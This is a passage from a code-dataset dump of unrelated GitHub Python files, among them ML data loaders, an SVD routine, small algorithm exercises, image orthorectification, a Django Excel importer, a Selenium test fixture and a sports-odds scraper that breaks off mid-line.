**submission_settings['pd_write_csv_params'])\n\n print('save submission:\\n{}'.format(sbm_filename))\n\n def write_metaset(self, df: pd.DataFrame, filename: str) -> None:\n \"\"\" Write metaset file\n Запись датасета метапризнаков с указанным именем\n\n Args:\n df: Заданный датасет\n filename: Имя файла датасета\n \"\"\"\n metaset_settings = self.settings['metaset_params']\n\n if not os.path.isdir(metaset_settings['metasets_dir']):\n try:\n os.mkdir(metaset_settings['metasets_dir'])\n except OSError:\n print('Can\\'t create metasets directory!')\n return\n\n metaset_filepath = os.path.join(metaset_settings['metasets_dir'], filename)\n df.to_csv(metaset_filepath, header=True, index=True)\n\n def read_metaset(self, filename: str) -> Optional[pd.DataFrame]:\n \"\"\" Read metaset file\n Чтение датасета метапризнаков с указанным именем\n\n Args:\n filename: Имя файла датасета\n\n Returns:\n Датасет метапризнаков\n \"\"\"\n metaset_settings = self.settings['metaset_params']\n metaset_filepath = os.path.join(metaset_settings['metasets_dir'], filename)\n\n if not os.path.exists(metaset_filepath):\n print('DataTools::read_metaset(): metaset file is not exist!')\n return None\n\n return pd.read_csv(metaset_filepath, index_col=0)\n","repo_name":"aborisihin/kaggle_tools","sub_path":"kgltools/data_tools/_data_tools.py","file_name":"_data_tools.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40351087244","text":"#%matplotlib inline\n#import matplotlib.pyplot as plt\nimport os\nimport numpy as np\ndef assign_case_to_bin(case_label, bin_edges):\n i=0\n while i<len(bin_edges)-1:\n if case_label <= bin_edges[i+1] and case_label >= bin_edges[i]:\n return i, bin_edges[i], bin_edges[i+1]\n else:\n i+=1\n\ngene_list= [\n'MGP']\nfor gene in gene_list:\n csvs={}\n splits= ['split1', 'split2', 'split3']#,'split4']\n for split in splits:\n #print(split)\n FOLDER='./data/intermediate_results/models/output_models/{}/{}/'.format(gene,split)\n file = open(\"{}attention_values_{}.csv\".format(FOLDER,split),'r')\n csvs[split]=file\n test_images_list = open(\"{}attention_cases_{}.csv\".format(FOLDER,split),'r').readlines()\n ensemble_attention_record = open(\"./results/intermediate_results/models/output_models/{}/ensemble_attention_record.csv\".format(gene), 'w')\n labels_file_lines = open(\"./data/splits/normalized/test/{}_test.csv\".format(gene),\"r\").readlines()\n n_patches_per_case=np.load(\"./data/test_files_infolders.npy\", allow_pickle=True).item()\n\n cases=[]\n labels=[]\n labels_dic={}\n for line in labels_file_lines:\n case=line.split(',')[0]\n cases.append(case)\n labels_dic[case]=float(line.split(', ')[1].strip('\\n'))\n labels.append(float(line.split(', ')[1].strip('\\n')))\n hist, bin_edges = np.histogram(labels, bins=7)\n\n values=np.zeros(86830)\n\n for file_index in range(0,86830):\n for split in splits:\n values[file_index]+=float(csvs[split].readline())\n values[file_index]/=len(splits)\n\n for file_index in range(0,86830):\n file_name = test_images_list[file_index].strip('\\n')\n case_id = file_name.split('10x/')[1]\n case_id = case_id[:12]\n label = labels_dic[case_id]\n bin_idx, min_edge, max_edge = assign_case_to_bin(label, bin_edges)\n ensemble_attention_value = values[file_index]\n n_patches = n_patches_per_case[case_id]\n ensemble_attention_record.write(f\"{file_name}, {case_id}, {label}, {bin_idx}, {min_edge}, {max_edge}, {ensemble_attention_value}, {n_patches}\\n\")\n\n ensemble_attention_record.close()\n for k in csvs.keys():\n csvs[k].close()\n","repo_name":"maragraziani/interpretableWSItoRNAseq","sub_path":"code/interpretability/create_attention_record.py","file_name":"create_attention_record.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"177631853","text":"from typing import Union\nimport numpy as np\nimport tensorflow as tf\nimport pandas as pd\nimport tqdm\n\nfrom typing import (\n List as list, \n Tuple as tuple, \n Dict as dict\n)\n\nimport sys\nsys.path.append(\"../\")\n\nimport utils # type: ignore\n# from .. import utils # for autocompletion purposes\n\ndef load_data(path: str) -> tuple[\n Union[list[str], dict[str, int]],\n pd.DataFrame\n ]:\n data = pd.read_parquet(path)\n classes: Union[list[str], dict[str, int]] = data.detection_object.unique()\n classes = {_class: i for i, _class in enumerate(classes)}\n data.detection_object = data.detection_object.map(classes)\n classes = {i: _class for _class, i in classes.items()}\n return classes, data\n\n\ndef create_tf_datasets(\n paths: list[str],\n bboxes_classes: list[tuple[float, float, float, float, int]]\n ) -> tf.data.Dataset:\n paths_tf = tf.data.Dataset.from_tensor_slices(paths)\n bboxes_classes_tf = tf.data.Dataset.from_tensor_slices(bboxes_classes)\n return tf.data.Dataset.zip(\n (paths_tf, bboxes_classes_tf)\n )\n\n\ndef path_to_image(path: str) -> np.uint8:\n image = utils.read_image(f\".{path.numpy().decode('utf-8')}\")\n image = utils.resize_dimensions(image, (448, 448))\n return image\n\n\ndef detection_to_grid(\n bbox_class: tuple[float, float, float, float, int],\n S: int = 7, B: int = 2, C: int = 20) -> np.ndarray:\n grid_detection = np.zeros((S, S, C + 5 * B))\n ##################################################################\n # #\n #[20 grids ~~ classes, 2 bounding boxes [x, y, w, h, confidence]]#\n # #\n ##################################################################\n for *bounding_box, detection_class in bbox_class.numpy():\n detection_class = detection_class.astype(np.uint8)\n grid_x = int(np.floor(S * bounding_box[0]))\n grid_y = int(np.floor(S * bounding_box[1]))\n if not (grid_x == 7 or grid_y == 7):\n if grid_detection[grid_y, grid_x, 20] == 0:\n # Set that there exists an object\n grid_detection[grid_y, grid_x, 20] = 1\n grid_detection[grid_y, grid_x, 21:25] = bounding_box\n grid_detection[grid_y, grid_x, detection_class] = 1 \n return grid_detection\n\ndef VOCDataLoader() -> tf.data.Dataset:\n data_path = \"VOC_2012_detections.parquet\"\n classes, data = load_data(data_path)\n paths = []\n bboxes_classes = []\n for path, group in tqdm.tqdm(data.groupby(\"path\")):\n paths.append(path)\n bboxes_classes.append(group[['x_yolo', 'y_yolo', 'w_norm', 'h_norm', 'detection_object']].values)\n paths = tf.constant(paths)\n bboxes_classes = tf.ragged.constant(bboxes_classes)\n\n dataset = create_tf_datasets(paths, bboxes_classes)\n dataset = dataset.map(\n lambda path, bbox_class: (\n tf.py_function(\n func=path_to_image,\n inp=[path],\n Tout=tf.float32\n ), bbox_class)\n ).map(\n lambda image, bbox_class: (image,\n tf.py_function(\n func=detection_to_grid,\n inp=[bbox_class],\n # adding square brackets to Tout type adds dimension # DON'T\n Tout=tf.float32 \n ))\n ).batch(16)\n\n return dataset\n\n\nif __name__ == \"__main__\":\n data_path = \"VOC_2012_detections.parquet\"\n classes, data = load_data(data_path)\n paths = data[['path']].values\n bboxes = data[['x_yolo', 'y_yolo', 'w_norm', 'h_norm']].values\n detection_classes = data[['detection_object']].values\n for index, (name, group) in enumerate(data.groupby(\"path\")):\n image = utils.visualize_bounding_boxes(\n utils.read_image(f\".{name}\"), \n group[['xmin', 'ymin', 'xmax', 'ymax', 'detection_object']].values,\n classes\n )\n image = utils.show_image(image)\n if index == 10:\n break\n","repo_name":"Marvin-desmond/yolo-v1-unified-detection","sub_path":"TensorFlow_YOLO1/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27326857575","text":"def SVD(mat, initial_mat1, initial_mat2, learn_rate, iterations):\n ## reassigning values in order to keep code clean\n # the m by n matrix that we want to approximate\n A = mat\n # two matrices from which we will start: B is m by k\n B = initial_mat1\n # C is n by k\n C = initial_mat2\n # learning rate, or step of learning\n alpha = learn_rate\n # number of iterations\n N = iterations\n # A ~ B * C^t : the first approximation based on given initial matrices\n A_app = np.dot(B, C.T)\n # gradient descent\n for i in range(N):\n # partial derivatives for matrices\n dLdB = np.dot((A_app - A), C)\n dLdC = np.dot((A_app - A).T, B)\n # updating matrices\n C = C - alpha * dLdC\n B = B - alpha * dLdB\n # calculating approximated matrix\n A_app = np.dot(B, C.T)\n # returning two matrices that can be used for A approximation\n return B, C, A_app\n","repo_name":"NikitaKudin/ml","sub_path":"L9/SVD.py","file_name":"SVD.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19817652723","text":"numbers = [7, 0, 8, 2, 8, 3, 1, 5, 7, 6, 2] \nhand = \"left\"\nanswer = ''\nlefthand = 10\nrighthand = 12\nfor i in numbers:\n if i == 0:\n i = 11\n\n\n if (i == 3 or i == 6 or i == 9):\n \n answer += 'R'\n righthand = i\n elif (i == 1 or i == 4 or i == 7):\n answer += 'L'\n lefthand = i\n else:\n ledis = abs(i - lefthand) // 3 + abs(i - lefthand) % 3\n ridis = abs(i - righthand) // 3 + abs(i - righthand) % 3\n\n if ledis > ridis:\n answer += 'R'\n righthand = i\n elif ledis < ridis:\n answer += 'L'\n lefthand = i\n else:\n if hand == \"right\":\n answer += 'R'\n righthand = i\n elif hand == \"left\":\n answer += 'L'\n lefthand = i\n\n\n\n\n\n\n\n\nprint(answer)\n\n\n\n","repo_name":"jhl9617/Algorithms","sub_path":"프로그래머스/키패드 누르기.py","file_name":"키패드 누르기.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8269864790","text":"n = int(input())\narray = list(map(int, input().split()))\nsum_value = sum(array)\nif sum_value % 4:\n print(0)\nelse:\n cnt = [0] * 4\n cnt[0] = 1\n prefix_sum = 0\n division = sum_value // 4\n for i in range(n - 1):\n prefix_sum += array[i]\n if prefix_sum == 3 * division:\n cnt[3] += cnt[2]\n if prefix_sum == 2 * division:\n cnt[2] += cnt[1]\n if prefix_sum == 1 * division:\n cnt[1] += cnt[0]\n print(cnt[3])\n","repo_name":"s2lee/PS","sub_path":"BOJ/Prefix Sum/21757.py","file_name":"21757.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16035496673","text":"import sys\n\ndef main():\n\n # initial filenames\n script_name = ''\n input_one = ''\n input_two = ''\n name = ''\n\n # get args\n if len(sys.argv) == 3:\n print('number of arguments: ', len(sys.argv))\n script_name = sys.argv[0]\n input_one = sys.argv[1]\n input_two = sys.argv[2]\n else:\n print('ERROR: WRONG ARGUMENTS')\n sys.exit(0)\n\n compare(input_one, input_two)\n\ndef compare(input_one, input_two):\n\n print('-- compare called --')\n\n input_one_count = 0\n input_two_count = 0\n\n with open(input_one) as f:\n for line in f:\n #print (line)\n\n if '<trkpt' in line:\n input_one_count += 1\n \n with open(input_two) as f:\n for line in f:\n #print (line)\n\n if '<trkpt' in line:\n input_two_count += 1\n\n print('input_one_count: ', input_one_count)\n print('input_two_count: ', input_two_count)\n\nif __name__ == \"__main__\":\n main()","repo_name":"ltanedo/osm-snap-to-roads","sub_path":"file-conversion-scripts/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"18403385229","text":"# https://www.youtube.com/watch?v=dxVcMDI7vyI&t=333s\nimport unittest\n\n\nclass Solution:\n def solve(self, A):\n cnt,maxx=0,float('-inf')\n start = [(A[i][0],True) for i in range(len(A))]\n end = [(A[i][1],False) for i in range(len(A))]\n al = start+end\n al.sort()\n for time,arrival in al:\n if arrival:\n cnt+=1\n maxx=max(maxx,cnt)\n else:\n cnt-=1\n return maxx\n\nclass MyTestCase(unittest.TestCase):\n def test_1(self):\n A = [[0, 30], [5, 10], [15, 20] ]\n actual = Solution().solve(A)\n expected = 2\n self.assertEqual(expected,actual)\n def test_2(self):\n A = [[1, 18], [18, 23], [15, 29], [4, 15], [2, 11], [5, 13] ]\n actual = Solution().solve(A)\n expected = 4\n self.assertEqual(expected,actual)\n\n\ndef findPlatform(n, arr, dep):\n # I could be in the stations watching over all the platforms.\n # I only need to consider when highest no of trains are sitting in the platforms.\n # that's why arrivals and departures could be sorted individually\n arr.sort()\n dep.sort()\n cnt,maxx=0,0\n i,j=0,0\n while i!=n:\n if arr[i]<=dep[j]:\n cnt+=1\n i+=1\n else:\n cnt-=1\n j+=1\n maxx=max(maxx,cnt)\n return maxx\n\narrivals= [900, 940, 950, 1100, 1500, 1800]\ndepartures=[ 910, 1200, 1120, 1130, 1900, 2000 ]\nprint(findPlatform(len(arrivals),arrivals,departures))\n\n\narrivals= [900, 940]\ndepartures=[ 910, 1200]\nprint(findPlatform(len(arrivals), arrivals,departures))\n\narrivals= [1100, 1500, 1800]\ndepartures=[1130, 1900, 2000]\nprint(findPlatform(len(arrivals), arrivals,departures))","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/gfg/minimum_platforms.py","file_name":"minimum_platforms.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25926120953","text":"import glob\nfrom default_params import default_params\nimport skimage.io\nimport numpy as np\nimport cv2\nfrom V import V\nfrom PIL import Image, ImageDraw\nimport matplotlib.pyplot as plt\nfrom util.calibrate import calibrate\nimport os.path\nfrom util.line_hmg_from_two_points import line_hmg_from_two_points\nimport skimage.io\nimport time\nfrom util.orthorectify_from_vps_and_lines import orthorectify_from_vps_and_lines\nimport json\n\n\n\n# todo options\nclass todo:\n save_results_image = 0\n benchmark = 0\n calibrate = 1\n ortho_rectify = 1\n save_ortho_images = 1\n\n# plot options (0 if not plotted, figure number otherwise)\nclass plots:\n hvps = 0 #1\n z = 0 #1\n hl = 0 #1\n gthl = 0 #1\n benchmark = 0 #2 display presision curve and AUC for each dataset (the figure number will be plots.benchmark*100+#dataset)\n manhattan = 0 #1\n orthorectify = 0 #3 rectified images (the figure number will be plots.orthorectify*100+#plane)\n\n# path(s) to the image (set(s))\nimgDir = 'Pano_new/New/images/'\ntmp_count = 0\n\n# the following datasets, as well as the ground truth horizon lines in a\n# unified format can be obtained from our webpage:\n# https://members.loria.fr/GSimon/software/v/\n\n# imgDir{1,end+1} = '/home/gsimon/ownCloud/Matlab/fastvp2/YorkUrbanDB/'\n# imgDir{1,end+1} = '/home/gsimon/ownCloud/Matlab/fastvp2/EurasianCitiesBase/'\n# imgDir{1,end+1} = '/home/gsimon/Documents/MATLAB/HLW dataset/images/Tests/'\n\n# for each image set...\n\nfor i_s in range(1):\n imageList = glob.glob(imgDir + '*.jpg')\n imageList.sort()\n nImages = len(imageList)\n\n zhupei_save = [[] for i in range(nImages)]\n\n params = default_params()\n # include the detection of infinite horizontal VPs\n params.include_infinite_hvps = 1\n params.return_z_homo = 0\n\n hl_error = []\n for i in range(nImages):\n print('%d/%d\\n', i+1, nImages)\n im = Image.open(imageList[i])\n im_useless = im.copy()\n im_array = skimage.io.imread(imageList[i])\n\n width = im.width\n height = im.height\n # fake focal length\n focal = max(width, height) / 2\n\n # call V\n # V_result_list = V(im, width, height, focal, params)\n\n [hl, hvps, hvp_groups, z, z_group, ls] = V(im, width, height, focal, params, tmp_count)\n\n cmap = plt.cm.hsv(np.linspace(0, 1, 4))[:, :3]\n\n if plots.hvps:\n im_hvps = im\n draw = ImageDraw.Draw(im_hvps)\n for j in range(len(hvp_groups)):\n hg = hvp_groups[j]\n for k in range(len(hg)):\n pt1 = (ls[hg[k], 0], ls[hg[k], 1])\n pt2 = (ls[hg[k], 2], ls[hg[k], 3])\n draw.line((pt1, pt2), fill=tuple((cmap[j] * 255).astype(int)), width=2)\n # im4.show()\n im_hvps.save('tmp/im_hvps.jpg')\n\n if plots.z:\n im_z = im\n # if plots.hvps:\n # im_z = im_hvps.copy()\n # else:\n # im_z = im.copy()\n draw = ImageDraw.Draw(im_z)\n zg = z_group\n for k in range(len(zg)):\n pt1 = (ls[zg[k], 0], ls[zg[k], 1])\n pt2 = (ls[zg[k], 2], ls[zg[k], 3])\n draw.line((pt1, pt2), fill=tuple((cmap[2] * 255).astype(int)), width=2)\n im_z.save('tmp/im_z.jpg')\n\n if plots.hl:\n im_hl = im\n # if plots.hvps and plots.z:\n # im_hl = im_z.copy()\n # else:\n # im_hl = im.copy()\n draw = ImageDraw.Draw(im_hl)\n pt1 = (hl[0, 0], hl[0, 1])\n pt2 = (hl[1, 0], hl[1, 1])\n draw.line((pt1, pt2), fill=tuple([0, 255, 255]), width=4)\n im_hl.save('tmp/im_hl.jpg')\n\n if plots.gthl or plots.benchmark:\n print(\"Not yet implemented, no xxxhor.mat data and not necessary\")\n\n\n if todo.calibrate:\n [focal, manh_vps, confident] = calibrate(z, hvps, width, height)\n if plots.manhattan and confident >= 0:\n im_manhattan = im\n # if plots.hl:\n # im_manhattan = im_hl.copy()\n # else:\n # im_manhattan = im.copy()\n draw = ImageDraw.Draw(im_manhattan)\n u0 = width / 2\n v0 = height / 2\n if z[1] > v0:\n posy = 0\n else:\n posy = height\n\n if confident == 3:\n pt1 = (u0, posy)\n pt2 = (manh_vps[0, 0], manh_vps[0, 1])\n draw.line((pt1, pt2), fill=tuple([255, 0, 0]), width=4)\n pt2 = (manh_vps[1, 0], manh_vps[1, 1])\n draw.line((pt1, pt2), fill=tuple([0, 255, 0]), width=4)\n pt2 = (manh_vps[2, 0], manh_vps[2, 1])\n draw.line((pt1, pt2), fill=tuple([0, 0, 255]), width=4)\n elif confident == 2:\n pt1 = (u0, posy)\n pt2 = (manh_vps[0, 0], manh_vps[0, 1])\n draw.line((pt1, pt2), fill=tuple([255, 0, 0]), width=1)\n pt2 = (manh_vps[1, 0], manh_vps[1, 1])\n draw.line((pt1, pt2), fill=tuple([0, 255, 0]), width=4)\n pt2 = (manh_vps[2, 0], manh_vps[2, 1])\n draw.line((pt1, pt2), fill=tuple([0, 0, 255]), width=4)\n elif confident == 1:\n pt1 = (u0, posy)\n pt2 = (manh_vps[0, 0], manh_vps[0, 1])\n draw.line((pt1, pt2), fill=tuple([255, 0, 0]), width=1)\n pt2 = (manh_vps[1, 0], manh_vps[1, 1])\n draw.line((pt1, pt2), fill=tuple([0, 255, 0]), width=1)\n pt2 = (manh_vps[2, 0], manh_vps[2, 1])\n draw.line((pt1, pt2), fill=tuple([0, 0, 255]), width=4)\n\n im_manhattan.save('tmp/im_manhattan.jpg')\n\n # save the results image\n\n if plots.hvps and todo.save_results_image:\n img_path = imageList[i]\n [pathstr, img_name] = os.path.split(img_path)\n name = os.path.splitext(img_name)[0]\n name = './intermediate/' + name + 'res.png'\n im.save(name)\n\n # ortho-rectify all vertical planes\n\n if todo.ortho_rectify:\n K = np.array([])\n if focal > 0:\n K = np.array([[focal, 0.0, width / 2], [0.0, focal, height / 2], [0.0, 0.0, 1.0]])\n hl_homo = line_hmg_from_two_points(np.array([hl[0, 0], hl[0, 1]]), np.array([hl[1, 0], hl[1, 1]]))\n\n\n [imR, maskR, transform, crop_imR] = orthorectify_from_vps_and_lines(im_array, im_useless, hvps, hvp_groups, z, z_group, ls, 4, K, hl_homo, 0)\n\n # imR = orthorectify_from_vps_and_lines(im_array, im_useless, hvps, hvp_groups, z, z_group, ls, 4, K, hl_homo, 0)\n\n\n # if len(imR) > 0:\n # if len(imR[0]) != 0:\n # zhupei_save[i].append(transform[0][\"H\"].tolist())\n # if len(imR) > 1:\n # if len(imR[1]) != 0:\n # zhupei_save[i].append(transform[1][\"H\"].tolist())\n # if len(imR) > 2:\n # if len(imR[2]) != 0:\n # zhupei_save[i].append(transform[2][\"H\"].tolist())\n\n\n if todo.save_ortho_images:\n img_path = imageList[i]\n [pathstr, img_name] = os.path.split(img_path)\n name = os.path.splitext(img_name)[0]\n black_percentage = []\n index_list = []\n\n for j in range(len(imR)):\n if len(imR[j]) != 0:\n\n if not os.path.exists('./output/'):\n os.makedirs('./output/')\n out_img_name = './output/' + name + '_R_' + str(j) + '.jpg'\n skimage.io.imsave(out_img_name, maskR[j])\n\n\n\n # for j in range(len(imR)):\n # if len(imR[j]) != 0:\n # black_percentage.append(1 - maskR[j].mean())\n # index_list.append(j)\n # if len(index_list) > 0:\n # output_num = 0\n # if np.array(black_percentage).min() < 0.5 * black_percentage[0] and black_percentage[0] > 0.15:\n # output_num = index_list[np.argmin(black_percentage)]\n # out_img_name = './output/manual_selection' + name + '_R_' + str(output_num) + '.jpg'\n # skimage.io.imsave(out_img_name, imR[output_num])\n # # break\n # # mask_img_name = './mask/' + name + '_R_' + str(output_num) + '.jpg'\n # # skimage.io.imsave(mask_img_name, maskR[output_num])\n # # crop_img_name = './crop_output/' + name + '_R_' + str(output_num) + '.jpg'\n # # skimage.io.imsave(crop_img_name, crop_imR[output_num])\n #\n #\n # out_img_name = './output/' + name + '_R_' + str(0) + '.jpg'\n # skimage.io.imsave(out_img_name, imR[0])\n # # break\n # # mask_img_name = './mask/' + name + '_R_' + str(0) + '.jpg'\n # # skimage.io.imsave(mask_img_name, maskR[0])\n # # crop_img_name = './crop_output/' + name + '_R_' + str(0) + '.jpg'\n # # skimage.io.imsave(crop_img_name, crop_imR[0])\n\n\n\n\n\n\n # with open('simon_zenith.json', 'w') as f:\n # json.dump(zhupei_save, f)\n\n\n\n#print(todo.save_results_image)","repo_name":"ZPdesu/lsaa-dataset","sub_path":"Panorama_Rectification/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9594,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"35234007672","text":"from datetime import date\nimport pandas as pd\nimport os\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'vlaio_prototype.settings'\nimport django\n# before importing any model\ndjango.setup()\n\nfrom main.models import Company, Interaction, Partner\n\nfrom .vat_normilze import normalize, is_vat\nfrom . import checkers\n\n\nclass Config:\n def __init__(self, xl_to_sql, model_class, xl_types=None, map_df_func=None, checkers=None):\n self.xl_to_sql = xl_to_sql\n self.xl_types = xl_types\n self.xl_cols = set(xl_to_sql.keys())\n self.model_class = model_class\n self.map_df_func=map_df_func\n self.checkers = checkers or []\n\n def insert_models(self, df):\n if self.map_df_func is not None:\n df = self.map_df_func(df)\n dicts = df.to_dict('records')\n self.model_class.objects.bulk_create(\n [\n self.model_class(**{self.xl_to_sql[k]: d[k] for k in self.xl_cols})\n for d in dicts\n ]\n )\n \n def check(self, df):\n \"\"\"\n return a tuple of (errors, warnings)\n \"\"\"\n res = filter(lambda x: x, [f(df) for f in self.checkers])\n warnings = []\n errors = []\n for txt, is_warning in res:\n if is_warning:\n warnings.append(txt)\n else:\n errors.append(txt)\n return errors, warnings\n\n def insert_from_excel(self, file_path):\n df = self.get_data_from_excel_file(file_path)\n self.insert_models(df)\n\n def get_data_from_excel_file(self, file_path):\n df = pd.read_excel(\n file_path,\n encoding='sys.getfilesystemencoding()',\n dtype=self.xl_types\n )\n present = set(df.columns)\n missing = self.xl_cols - present\n if missing:\n raise ValueError(\"Missing columns: \" + \",\".join(missing))\n additional = present - self.xl_cols\n for col in additional:\n del df[col]\n\n return df\n\n\n\n\ndef map_company_vat(df):\n df[\"VAT\"] = df[\"VAT\"].apply(normalize)\n return df\n\n\nCOMPANY_CONFIG = Config(\n xl_to_sql={\n # In file name: db column name\n \"Naam\": \"name\",\n \"VAT\": \"vat\",\n \"werknemers\": \"employees\",\n \"winst\": \"profit\"\n },\n xl_types={\n \"Naam\": str,\n \"VAT\": str,\n \"werknemers\": int,\n \"winst\": int\n },\n model_class=Company,\n map_df_func=map_company_vat,\n checkers=[checkers.check_tva, checkers.check_empty_col(\"Naam\")]\n)\n\n\ndef map_df_interactions(df: pd.DataFrame):\n sources = {\n name: Partner.objects.get_or_create(name=name)[0]\n for name in set(df['Source'])\n }\n df[\"Source\"] = df[\"Source\"].apply(lambda x: sources[x].id)\n # TODO change the date\n df['date'] = date.today()\n df[\"VAT\"] = df[\"VAT\"].apply(normalize)\n return df\n\n\n\nINTERACTION_CONFIG = Config(\n xl_to_sql={\n \"VAT\": \"company_id\",\n \"Source\": 'partner_id',\n \"Type\": \"type\",\n \"Date\": \"date\"\n },\n xl_types={\n \"Source\": str,\n \"Type\": str,\n \"VAT\": str,\n \"date\": date\n },\n model_class=Interaction,\n map_df_func=map_df_interactions,\n checkers=[\n checkers.check_new_parnter,\n checkers.check_new_types,\n checkers.check_empty_col(\"Source\"),\n checkers.check_new_vat,\n checkers.check_tva\n ]\n)\n","repo_name":"oSoc18/vlaio-network-backend","sub_path":"excel_parse/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28901952193","text":"import os.path\n\nimport pytest\nfrom selenium.webdriver.chrome import webdriver\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.edge.service import Service\nfrom selenium.webdriver.ie.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.microsoft import EdgeChromiumDriverManager\nfrom webdriver_manager.microsoft import IEDriverManager\ndriver = None\n\n\n@pytest.fixture(autouse=True)\ndef setup(request, browser):\n global driver\n if browser == \"Chrome\" or \"CHROME\":\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))\n elif browser == \"ie\" or \"IE\":\n driver = webdriver.Ie(service=Service(IEDriverManager().install()))\n elif browser == \"Edge\" or \"edge\":\n driver = webdriver.Edge(service=Service(EdgeChromiumDriverManager().install()))\n else:\n print(\"PLease Pass the correct browser name :\")\n driver.maximize_window()\n driver.get(\"https://www.yatra.com/\")\n request.cls.driver = driver\n yield\n driver.close()\n\n\ndef pytest_addoption(parser):\n parser.addoption(\"--browser\", action=\"store\", default=\"Chrome\")\n\n\n@pytest.fixture(scope=\"class\", autouse=True)\ndef browser(request):\n return request.config.getoption(\"--browser\")\n\n\n@pytest.hookimpl(hookwrapper=True)\ndef pytest_runtest_makereport(item):\n pytest_html = item.config.pluginmanager.getplugin(\"html\")\n outcome = yield\n report = outcome.get_result()\n extra = getattr(report, \"extra\", [])\n if report.when == \"call\":\n # always add url to report\n extra.append(pytest_html.extras.url(\"https://www.yatra.com/\"))\n xfail = hasattr(report, \"wasxfail\")\n if (report.skipped and xfail) or (report.failed and not xfail):\n # only add additional html on failure\n report_directory = os.path.dirname(item.config.option.htmlpath)\n file_name = report.nodeid.replace(\"::\", \"_\") + \".png\"\n destinationFile = os.path.join(report_directory, file_name)\n driver.save_screenshot(destinationFile)\n if file_name:\n html = '<div><img src=\"%s\" alt=\"screenshot\" style=\"width:304px;height:228px;\" ' \\\n 'onclick=\"window.open(this.src)\" align=\"right\"/></div>' % file_name\n extra.append(pytest_html.extras.html(html))\n report.extra = extra\n\n\ndef pytest_html_report_title(report):\n report.title = \"Yatra Report\"","repo_name":"Ashish1225/selenium-python-automation-demo","sub_path":"testcases/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37708802370","text":"import datetime\nimport time\nimport requests\nimport os\nimport django\nfrom pprint import pprint\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'settings.settings'\ndjango.setup()\nfrom stremstv.models import Event, League\n\nSTATISTICS_ID = {\n 'Футбол': {\n 45: 'Атаки',\n 58: 'Опасные атаки',\n 29: 'Владение мячом',\n 59: 'Удары в створ',\n 60: 'Удары в сторону ворот',\n 70: 'Угловые',\n 26: 'Жёлтые карточки',\n 71: 'Красные карточки',\n 72: 'Пенальти',\n },\n 'Хоккей': {\n 45: 'Атаки',\n 17: 'Броски',\n 18: 'Штрафы',\n 20: 'Владение',\n },\n}\nTABLE_MARKETS_IDS = {\n 1: {\n 'Название': 'Исход',\n 1: 'П1',\n 2: 'X',\n 3: 'П2'\n },\n 8: {\n 'Название': 'Двойной шанс',\n 4: 'X1',\n 5: '12',\n 6: 'X2',\n },\n 17: {\n 'Название': 'Тотал',\n 9: 'Больше',\n 10: 'Меньше'\n },\n 2: {\n 'Название': 'Фора',\n 7: 'Фора 1',\n 8: 'Фора 2'\n },\n 15: {\n 'Название': 'Тотал ком.1',\n 12: 'Меньше',\n 11: 'Больше'\n },\n 62: {\n 'Название': 'Тотал ком.2',\n 13: 'Больше',\n 14: 'Меньше'\n }\n}\n\n\ndef scan_xbet():\n with requests.Session() as session:\n api = 'https://1xstavka.ru/LineFeed/Get1x2_VZip?sports=1,2,3,4,6,9,19,26,56,189&count=5000&tf=2200000&tz=3&antisports=188&mode=4&country=1&partner=51&getEmpty=true'\n while True:\n response = session.get(api).json()\n for i in response['Value']:\n league = i['L']\n if 'x' in league:\n continue\n elif 'CN' not in i:\n continue\n country = i['CN']\n sport = i['SN']\n if League.objects.filter(sport=sport, country=country, league=league, include=False).exists():\n continue\n elif not League.objects.filter(sport=sport, country=country, league=league).exists():\n League.objects.create(sport=sport, country=country, league=league)\n continue\n elif League.objects.filter(sport=sport, country=country, league=league, exclude=True).exists():\n include = False\n else:\n include = True\n home = i.get('O1')\n away = i.get('O2')\n if sport in ['Биатлон', 'Формула 1']:\n if 'Биатлон' in sport:\n logo = 'https://w7.pngwing.com/pngs/513/262/png-transparent-skiing-ski-superhero-sports-equipment-fictional-character.png'\n else:\n logo = 'https://w7.pngwing.com/pngs/749/255/png-transparent-formula-1-logo-abu-dhabi-grand-prix-2018-fia-formula-one-world-championship-european-grand-prix-logo-auto-racing-formula-1-miscellaneous-text-trademark.png'\n home, away = sport, sport\n home_logo, away_logo = logo, logo\n elif not home and not away:\n continue\n else:\n home_logo = 'https://cdn.1xstavka.ru/sfiles/logo_teams/' + i['O1IMG'][0] if i['O1IMG'] else None\n away_logo = 'https://cdn.1xstavka.ru/sfiles/logo_teams/' + i['O2IMG'][0] if 